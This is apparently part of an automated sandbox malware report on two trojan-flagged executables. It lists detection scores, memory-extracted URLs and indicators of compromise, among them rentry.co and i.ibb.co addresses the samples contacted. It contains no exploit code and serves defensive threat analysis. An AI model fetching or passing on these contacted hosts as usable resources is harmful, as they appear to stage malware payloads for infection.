C:\Users\user\Desktop\wzcsapi.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Jalapeno
C:\Users\user\Desktop\wzcsvc.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.Heracles

Source	Detection	Scanner	Label
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/02/trust	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	0%	URL Reputation	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/02/sc	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	0%	URL Reputation	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
rentry.co	104.26.2.16	true	true	unknown
windowsupdatebg.s.llnwi.net	178.79.208.1	true	false	unknown
i.ibb.co	169.197.85.95	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://i.ibb.co/Dwrj41N/Image.png	false		unknown
https://rentry.co/tranr/raw	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdJL0xe	svchost.exe, 0000000B.00000003.1586613115.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd=	svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdVJk9e	svchost.exe, 0000000B.00000003.1586613115.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdMe	svchost.exe, 0000000B.00000002.2656318533.0000013DE2100000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/09/policy1p	svchost.exe, 0000000B.00000002.2659982158.0000013DE215F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/wsdl/erties	lsass.exe, 00000009.00000000.1362110909.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2643302111.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/09/policy=80600	svchost.exe, 0000000B.00000003.1517373013.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1569755635.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID	svchost.exe, 0000000B.00000003.1368955150.0000013DE2110000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf	svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1368955150.0000013DE2110000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://account.live.com/inlines	svchost.exe, 0000000B.00000002.2647979529.0000013DE1902000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://i.ibb.co(	wzcsapi.exe, 00000003.00000002.2644119365.0000000002A83000.00000004.00000800.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2644119365.0000000002A7F000.00000004.00000800.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2644119365.00000000029A6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80601=	svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf	svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com/ppsecure/devicechangecredential.srfen	svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.msocsp.	lsass.exe, 00000009.00000000.1363146248.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/soap/envelope/	svchost.exe, 0000000B.00000002.2642526925.0000013DE18BC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://osoft.co_2010-06X	dwm.exe, 0000000E.00000000.1381748007.00000262ED790000.00000004.00000001.00020000.00000000.sdmp, dwm.exe, 0000000E.00000002.2698819352.00000262ED790000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd:	svchost.exe, 0000000B.00000002.2656318533.0000013DE2100000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust	lsass.exe, 00000009.00000000.1362110909.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2643302111.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2659982158.0000013DE215F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497639926.0000013DE2107000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://login.microsoftonline.com/ppsecure/ResolveUser.srf	svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com/MSARST2.srf	svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://Passport.NET/STS	svchost.exe, 0000000B.00000003.1498001046.0000013DE2179000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2659179818.0000013DE2137000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1517373013.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1569755635.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf-	svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	lsass.exe, 00000009.00000000.1362157507.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2644280399.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1362110909.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2643302111.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf%	svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	svchost.exe, 0000000B.00000003.1517373013.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1569755635.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://i.ibb.co	wzcsapi.exe, 00000003.00000002.2644119365.000000000299C000.00000004.00000800.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2644119365.000000000292F000.00000004.00000800.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2644119365.0000000002A83000.00000004.00000800.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2644119365.000000000295E000.00000004.00000800.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2644119365.00000000029A6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue502	svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Issuels	svchost.exe, 0000000B.00000003.1517373013.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1569755635.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/wsdl/soap12/P	lsass.exe, 00000009.00000000.1362110909.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2643302111.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.	svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80600=	svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAA	svchost.exe, 0000000B.00000003.1586613115.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf	svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://Passport.NET/tb	Microsoft-Windows-LiveId%4Operational.evtx.23.dr	false		unknown
http://docs.oasis-open.org/ws-sx/ws-trust/200512	lsass.exe, 00000009.00000000.1362157507.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2644280399.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	svchost.exe, 0000000B.00000003.1497639926.0000013DE2107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2666864067.0000013DE2813000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1502565425.0000013DE2173000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1534241049.0000013DE2107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1502608348.0000013DE2176000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trustAAAAA	svchost.exe, 0000000B.00000003.1586613115.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://account.live.com/InlineSignup.aspx?iww=1&id=80502	svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd	svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	wzcsapi.exe, 00000003.00000002.2644119365.00000000028C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://login.microsoftonline.com/ppsecure/devicechangecredential.srfMM	svchost.exe, 0000000B.00000003.1369948869.0000013DE2127000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://signup.live.com/signup.aspx	svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://Passport.NET/tb_	svchost.exe, 0000000B.00000002.2668258474.0000013DE2844000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com/MSARST2.srf=	svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	lsass.exe, 00000009.00000000.1362110909.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2643302111.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue2	svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1569755635.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://i.ibb.co	wzcsapi.exe, 00000003.00000002.2644119365.000000000296C000.00000004.00000800.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2644119365.00000000029A6000.00000004.00000800.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2644119365.00000000029F6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/09/policy	lsass.exe, 00000009.00000000.1362110909.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2643302111.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2659179818.0000013DE2137000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1586613115.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1569867845.0000013DE210E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2659982158.0000013DE215F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1498414598.0000013DE210E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497639926.0000013DE2107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1516335688.0000013DE215B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	svchost.exe, 0000000B.00000002.2659179818.0000013DE2137000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&	svchost.exe, 0000000B.00000002.2647979529.0000013DE1902000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 0000000B.00000003.1375112246.0000013DE212A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369948869.0000013DE212C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfJ	svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://account.live.com/msangcwam	svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1375112246.0000013DE212A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369948869.0000013DE212C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369560107.0000013DE2157000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf	svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1368955150.0000013DE2110000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.ver)	svchost.exe, 0000000B.00000002.2645232189.0000013DE18BF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://passport.net/tb	svchost.exe, 0000000B.00000002.2666864067.0000013DE2813000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.8.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Issueue	svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1569755635.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-	svchost.exe, 0000000B.00000003.1498329369.0000013DE210E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497639926.0000013DE2107000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds	svchost.exe, 0000000B.00000003.1569755635.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	svchost.exe, 0000000B.00000003.1570022776.0000013DE28D7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1518283361.0000013DE2193000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf	svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://account.live.com/Wizard/Password/Change?id=80601	svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369948869.0000013DE212C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/sc	svchost.exe, 0000000B.00000002.2659179818.0000013DE2137000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2659982158.0000013DE215F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/wsdl/soap12/	lsass.exe, 00000009.00000000.1362110909.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2643302111.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80600	svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/soap/envelope/=	svchost.exe, 0000000B.00000002.2659982158.0000013DE215F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/wsdl/	lsass.exe, 00000009.00000000.1362110909.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2643302111.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	svchost.exe, 0000000B.00000002.2645982875.0000013DE18D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1569755635.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf	svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://Passport.NET/tb:pp	svchost.exe, 0000000B.00000002.2645982875.0000013DE18D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2641180376.0000013DE1889000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://Passport.NET/tb_com	svchost.exe, 0000000B.00000002.2668258474.0000013DE2844000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdes	svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Issuee	svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trustn	svchost.exe, 0000000B.00000002.2659179818.0000013DE2137000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfRE	svchost.exe, 0000000B.00000003.1368955150.0000013DE2110000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ctldl.win	svchost.exe, 0000000F.00000002.2688680497.000002234AEA4000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://account.live.com/Wizard/Password/Change?id=806014	svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd	svchost.exe, 0000000B.00000003.1497639926.0000013DE2107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1502565425.0000013DE2173000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1534241049.0000013DE2107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1502608348.0000013DE2176000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.2.16	rentry.co	United States	13335	CLOUDFLARENETUS	true
162.19.58.157	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
147.185.221.18	unknown	United States	12087	SALSGIVERUS	false
